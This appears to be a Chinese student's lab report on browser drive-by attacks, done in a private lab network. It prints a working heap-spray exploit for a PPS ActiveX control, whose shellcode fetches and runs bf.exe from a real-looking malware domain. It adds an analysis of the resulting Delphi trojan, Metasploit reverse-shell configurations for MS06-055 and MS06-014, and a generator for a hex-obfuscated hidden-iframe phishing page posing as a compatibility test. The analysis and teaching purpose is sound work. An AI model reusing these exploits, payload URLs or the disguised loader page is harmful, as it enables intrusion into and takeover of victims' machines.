165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
该 CLSID 对应一个已知的 IE 漏洞组件(可能是 CVE-2012-4969 或类似),通过给 Logo 属性赋值过长的字符串触发缓冲区溢出。
② Shellcode 构造
shellcode 变量通过 unescape() 解码大量 %uXXXX 格式的 Unicode 字符串得到。
这些字节码实际上是 机器指令(x86 shellcode),其功能包括:
- 动态获取 API 地址(kernel32.dll, urlmon.dll 等)
- 调用 URLDownloadToFileA 或类似函数从远程服务器下载文件
- 调用 WinExec 或 ShellExecute 执行下载的文件
③ 下载地址
从 shellcode 末尾的 Unicode 字符串可以提取出 URL:
%u6874%u7074%u3a2f%u2f64%u776f%u2e6e%u3831%u6464%u2e6e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
解码后为:http://down.18dd.net/bb/bf.exe
⑤ 堆喷射(Heap Spray) - 构造大量 bigblock 和 block,填充内存中的 %u9090(NOP 滑梯)
- 将 shellcode 附着在每一块内存后
- 通过 new Array() 创建 400 个元素,使内存布局可预测,提高漏洞触发后跳转到 shellcode 的概率
⑥ 触发漏洞
pps.Logo = buffer; 将超长字符串(500+ 个换行)赋值给 Logo 属性,触发 ActiveX 控件的缓冲区溢出,使 EIP 跳转到堆中的 NOP 滑梯,最终执行 shellcode
4)最后是文件bd.cab

对 bd.cab 进行解压后得到 bd.exe。至此,攻击链中最终涉及的可执行文件包括:
- 014.exe
- bf.exe
- pps.exe
- bd.exe
这些文件在资源管理器中显示大小相同。进一步计算文件内容 MD5 后发现,多个落地文件内容完全相同,说明不同二阶段脚本虽然使用了不同下载地址,但最终投递的可能是同一个木马样本。这样后续静态分析可以选择其中一个样本进行,避免重复分析。

md5(http://down.18dd.net/bb/014.exe) = ca4e4a1730b0f69a9b94393d9443b979

md5(http://down.18dd.net/bb/bf.exe) = 268cbd59fbed235f6cf6b41b92b03f8e

md5(http://down.18dd.net/bb/pps.exe) = ff59b3b8961f502289c1b4df8c37e2a4

即
| 文件 URL / 文件名 | URL 字符串 MD5 或来源 | 样本内容 MD5 | 分析结论 |
|---|---|---|---|
| http://down.18dd.net/bb/014.exe | ca4e4a1730b0f69a9b94393d9443b979 | 1290ecd734d68d52318ea9016dc6fe63 | 与其他 EXE 内容一致 |
| http://down.18dd.net/bb/bf.exe | 268cbd59fbed235f6cf6b41b92b03f8e | 1290ecd734d68d52318ea9016dc6fe63 | 与其他 EXE 内容一致 |
| http://down.18dd.net/bb/pps.exe | ff59b3b8961f502289c1b4df8c37e2a4 | 1290ecd734d68d52318ea9016dc6fe63 | 与其他 EXE 内容一致 |
| bd.exe(由 bd.cab 解压得到) | 来源:bd.cab | 1290ecd734d68d52318ea9016dc6fe63 | 与其他 EXE 内容一致 |
后续选择 pps.exe 作为代表样本进行静态分析。
2.2.5 重复以上过程直到这些文件被全部分析完成
首先使用 WinXP 环境中的超级巡警虚拟机自动脱壳工具对 pps.exe 进行脱壳。工具识别结果显示样本具有 Borland Delphi 相关特征。脱壳后使用 IDA 对文件进行静态分析,重点查看字符串、函数调用、注册表操作、文件操作和网络下载地址

脱壳结果:

打开反汇编软件:


pps.exe恶意样本分析报告
一、样本基础信息与开发语言
- 基础信息
样本名称:pps.exe
来源:由 pps.js 利用 PPS 控件漏洞远程下载获取
同源性:与 014.exe、bf.exe、bd.exe 为同一恶意程序副本,MD5 值:1290ecd734d68d52318ea9016dc6fe63
关联域名:18dd.net(攻击者核心通信与下载服务器),本次尝试访问该域名下次级载荷地址 http://down.18dd.net/kl/0.exe 、 http://down.18dd.net/kl/19.exe ,均出现网页解析失败,无法获取对应次级样本文件。
- 开发语言
通过字符串 SOFTWARE\Borland\Delphi\RTL 判定,该样本基于Borland Delphi语言开发,依赖 Delphi 运行时库运行。
二、核心恶意行为分析
1.多阶段远程下载
内置 http://down.18dd.net/kl/0.exe 至 http://down.18dd.net/kl/19.exe 共 20 个下载地址,可批量拉取次级恶意程序,实现功能扩展、木马更新,构建多阶段攻击链路。目前公开链路无法访问上述次级载荷地址,无法进一步分析后续恶意模块。
2.系统持久化驻留
调用 QueryServiceConfig2、ChangeServiceConfig2 系列 API,读写并修改 Windows 系统服务配置;同时篡改注册表AutoRun相关项,实现开机自启动,保障恶意程序长期驻留。
3.横向传播能力
修改 NoDriveTypeAutoRun 策略,利用 U 盘、移动硬盘等可移动设备的自动运行机制,实现内网横向扩散。
4.进程注入与隐蔽执行
调用ntdll.dll、Kernel32.dll底层 API,借助VirtualAllocEx、ZwUnmapViewOfSection完成远程进程内存分配、内存解映射,可注入 IE 浏览器(IEXPLORE.EXE)等进程,隐藏恶意行为。
5.内核级对抗(Rootkit)
加载内核驱动 klif.sys,获取系统高权限,实现进程、文件、端口隐藏,绕过主流安全软件检测与拦截。
6.篡改 IE 安全机制
关闭 IE “执行保护” 等安全限制,解除运行权限管控,为恶意代码执行扫清障碍。
三、其他可疑特征
1.系统时间篡改
执行命令 cmd /c date 1981-01-12 强制修改系统时间,绕过基于时间规则的安全检测、日志审计,增加溯源难度。
2.程序标识与互斥体
出现 serdst.exe、Wdswsdewn、60000 等字段,为恶意子文件、进程名及互斥体标识,用于多模块协同运行、防止程序重复启动。
3.混淆与特征标识
存在 Telehotsgoogle、0813 等自定义字符及乱码字符串,属于程序内部标记与代码混淆特征,进一步提升免杀效果;同时残留运行报错类字符串,为程序编译、运行的冗余信息。
四、最终结论
该样本属于高危 Delphi 编写木马,是攻击者利用多款软件 / 控件漏洞投递的核心载荷,和另外三款可执行文件为同源样本。
样本功能完整,集成远程下载、持久化驻留、进程注入、内核隐藏、内网传播、安全机制绕过等多种恶意能力,对抗性、隐蔽性较强。
攻击者依托 18dd.net 域名搭建统一服务器,采用 “多漏洞入口 + 同一主木马 + 多级载荷” 的攻击模式,攻击链路完整且威胁范围广;目前其下游次级载荷链接已失效,无法获取后续恶意组件开展更深层次分析。
该木马一旦运行,会长期控制主机、扩散威胁、窃取信息,需及时修复相关控件漏洞,并基于样本 MD5、恶意域名、特征字符串做全网拦截与查杀。
2.3 web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
2.3.1 攻防双方环境
攻击方kali:192.168.20.129
防守方:IP地址为192.168.20.132
攻击方 Kali 负责运行 Metasploit 模块和 Web 入口页面,靶机 Win2k Server负责使用 IE 访问诱导 URL。
2.3.2 单独验证第一个漏洞:MS06-055
为避免统一入口页调试时难以区分问题来源,先单独验证 MS06-055 漏洞利用 URL。启动 Metasploit 并清理旧任务:
msfconsole -q
jobs -K
sessions -K

配置 MS06-055 模块:
1.启动
use exploit/windows/browser/ms06_055_vml_method
set payload windows/shell/reverse_tcp
2. 关键配置:
set SRVHOST 0.0.0.0 # 监听所有网卡,保持不变
set SRVPORT 8081 # 监听端口,保持不变
set URIPATH /ms06055 # 漏洞路径,保持不变
set LHOST 192.168.20.129 # 必须填Kali自己的IP
set LPORT 4455 # Kali监听的端口,保持不变
set ExitOnSession false
set VERBOSE true

检查配置是否正确:
show options

运行:
run -j

此时第一个恶意 URL 为http://192.168.20.129:8081/ms06055
在 Win2k Server中访问该 URL。若触发成功, 会显示类似 Command shell session opened 的提示。进入 session 后执行命令验证:

在 Win2k Server 中访问该 URL。若触发成功,Metasploit 会显示类似 Command shell session opened 的提示。进入 session 后执行命令验证:
sessions -l
sessions -i 1
ver
ipconfig

该步骤用于确认 MS06-055 URL 本身可独立触发,后续统一入口页只负责隐藏加载和混淆封装。
2.3.3 单独验证第二个漏洞:MS06-014
为避免 IE 崩溃影响第二个实验,关闭 Win2000 的 IE,必要时重启靶机。随后清理 Metasploit 中旧任务和旧会话。
先执行以下命令清空之前的残留任务和会话,防止端口 / 进程冲突:
# 进入msfconsole后执行
jobs -K # 杀死所有后台任务
sessions -K # 关闭所有会话

MS06-014 完整适配配置:
# 1. 加载MS06-014漏洞模块
use exploit/windows/browser/ie_createobject
# 2. 配置漏洞服务端参数(Kali侧)
set SRVHOST 0.0.0.0 # 监听Kali所有网卡,无需修改
set SRVPORT 8082 # 漏洞服务端口,保持8082(和MS06-055的8081区分)
set URIPATH /ms06014 # 漏洞访问路径,保持不变
# 3. 配置反向Shell载荷(核心:适配你的Kali IP)
set payload windows/shell/reverse_tcp
set LHOST 192.168.20.129 # Kali的IP
set LPORT 5544 # 监听端口,保持5544(和MS06-055的4455区分)
# 4. 辅助配置(保证实验连续性)
set ExitOnSession false # 不退出会话,方便多次测试
set VERBOSE true # 显示详细日志,便于排查问题

检查配置是否正确:
show options

后台启动漏洞服务
run -j
image-20260601134029698.png
在 Win2k Server端访问

回到kali:

在 Win2k Server中单独访问该 URL。成功后进入对应 session,执行命令验证远程命令执行能力:
sessions -l
sessions -i 2
ver
ipconfig

两个漏洞 URL 分别验证后,可以确认它们都可以作为独立漏洞利用页面使用。后续实验重点转为如何将两个 URL 混淆后封装为统一入口,并由防守方还原。
2.3.4 URL 转换为十六进制字符串
攻击方将两个真实漏洞利用地址作为待隐藏目标:
http://192.168.20.129:8081/ms06055
http://192.168.20.129:8082/ms06014
将上述 URL 转换为十六进制字符串
# 端口 8081
python3 -c 'print("http://192.168.20.129:8081/ms06055".encode().hex())'
# 端口 8082
python3 -c 'print("http://192.168.20.129:8082/ms06014".encode().hex())'
得到:
687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535
687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134

2.3.5 创建工作目录并生成混淆挂马页面
混淆的目的在于让邮件中只出现统一入口 URL,而不直接暴露真实漏洞路径、端口和模块特征。防守方若只查看邮件正文,很难直接判断页面背后封装了两个浏览器漏洞利用地址。
- 进入桌面(或任意目录)
cd ~/Desktop - 创建 Python 脚本文件 gen_html.py并执行脚本
cat > gen_html.py << 'EOF'
#!/usr/bin/env python3
def hex_encode(s):
return s.encode().hex()
# 使用你的 Kali 实际 IP
url1 = "http://192.168.20.129:8081/ms06055"
url2 = "http://192.168.20.129:8082/ms06014"
hex1 = hex_encode(url1)
hex2 = hex_encode(url2)
html_template = f'''<!doctype html>
<html>
<head><meta charset="utf-8"><title>浏览器兼容性测试</title></head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(h) {{
var s = "";
for (var i = 0; i < h.length; i += 2) {{
s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
}}
return s;
}}
function loadHiddenFrame(url) {{
var f = document.createElement("iframe");
f.src = url;
f.width = "1";
f.height = "1";
f.style.display = "none";
document.body.appendChild(f);
}}
var u1 = "{hex1}";
var u2 = "{hex2}";
window.onload = function () {{
loadHiddenFrame(h2s(u1));
setTimeout(function () {{
loadHiddenFrame(h2s(u2));
}}, 5000);
}};
</script>
</body>
</html>'''
with open("20253911zzy.html", "w") as f:
f.write(html_template)
print("HTML 文件已生成: 20253911zzy.html")
EOF

2.3.5 部署到 Apache Web 服务器
创建目标目录
sudo mkdir -p /var/www/html/3911zzy
复制生成的 HTML 文件到 Web 目录
sudo cp 20253911zzy.html /var/www/html/3911zzy/
启动 Apache 服务(如果尚未启动)
sudo systemctl start apache2
设置 Apache 开机自启(可选)
sudo systemctl enable apache2
验证文件是否可访问(在 Kali 本地测试)
curl http://192.168.20.129/3911zzy/20253911zzy.html | head -n 5

2.3.6 启动 Metasploit 漏洞利用服务(两个终端分别运行)
终端 A:MS06‑055 (VML 漏洞) – 端口 8081
sudo msfconsole -q
在 msf 控制台中依次输入:
use exploit/windows/browser/ms06_055_vml_method
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.20.129
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
run -j

终端 B:MS06‑014 (MDAC 漏洞) – 端口 8082
sudo msfconsole -q
在 msf 控制台中依次输入:
use exploit/windows/browser/ie_createobject
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.20.129
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set LPORT 4445
run -j

两个漏洞服务必须同时运行,且端口不能冲突。请保持这两个终端不要关闭。
检查端口监听状态(新终端)
sudo netstat -tulnp | grep -E '8081|8082'
应显示 msfconsole 正在监听 0.0.0.0:8081 和 0.0.0.0:8082。

访问邮件中的链接:
http://192.168.20.129/3911zzy/20253911zzy.html
页面会显示“正在加载实验资源…”,并静默加载两个隐藏的 iframe。若靶机存在相应漏洞,Metasploit 将获得反弹会话。

在 Kali 的 msfconsole 中查看会话:
sessions -i
如果看到会话,说明攻击成功。


防守方
1、挂马入口页面分析
提取挂马链接,查看源码

观察HTML中的JavaScript,发现以下关键点:
定义了一个函数 h2s(h),其功能是将十六进制字符串转换为普通字符串。
定义了两个变量 u1 和 u2,它们的值是十六进制字符串。
window.onload 中通过 loadHiddenFrame 加载两个隐藏的iframe,分别使用 h2s(u1) 和 h2s(u2) 作为URL。

2、漏洞1:MS06-055(VML 栈溢出漏洞)
下载/ms06055 页面
curl http://192.168.20.129:8081/ms06055 -o ms06055.html
cat ms06055.html

3 总结与收获
实验过程中熟练掌握了Metasploit渗透框架的核心使用方法,能够通过search、use、set、run等核心命令调用对应漏洞模块,搭建攻击服务、生成恶意页面并获取靶机反向会话。同时熟练运用CyberChef等工具完成Unicode转义还原、Base64与XXTEA加密代码解密,掌握了恶意混淆脚本的还原方法,初步了解超级巡警、IDA Pro等逆向工具的应用场景,具备了基础的恶意代码静态分析能力。
浙公网安备 33010602011771号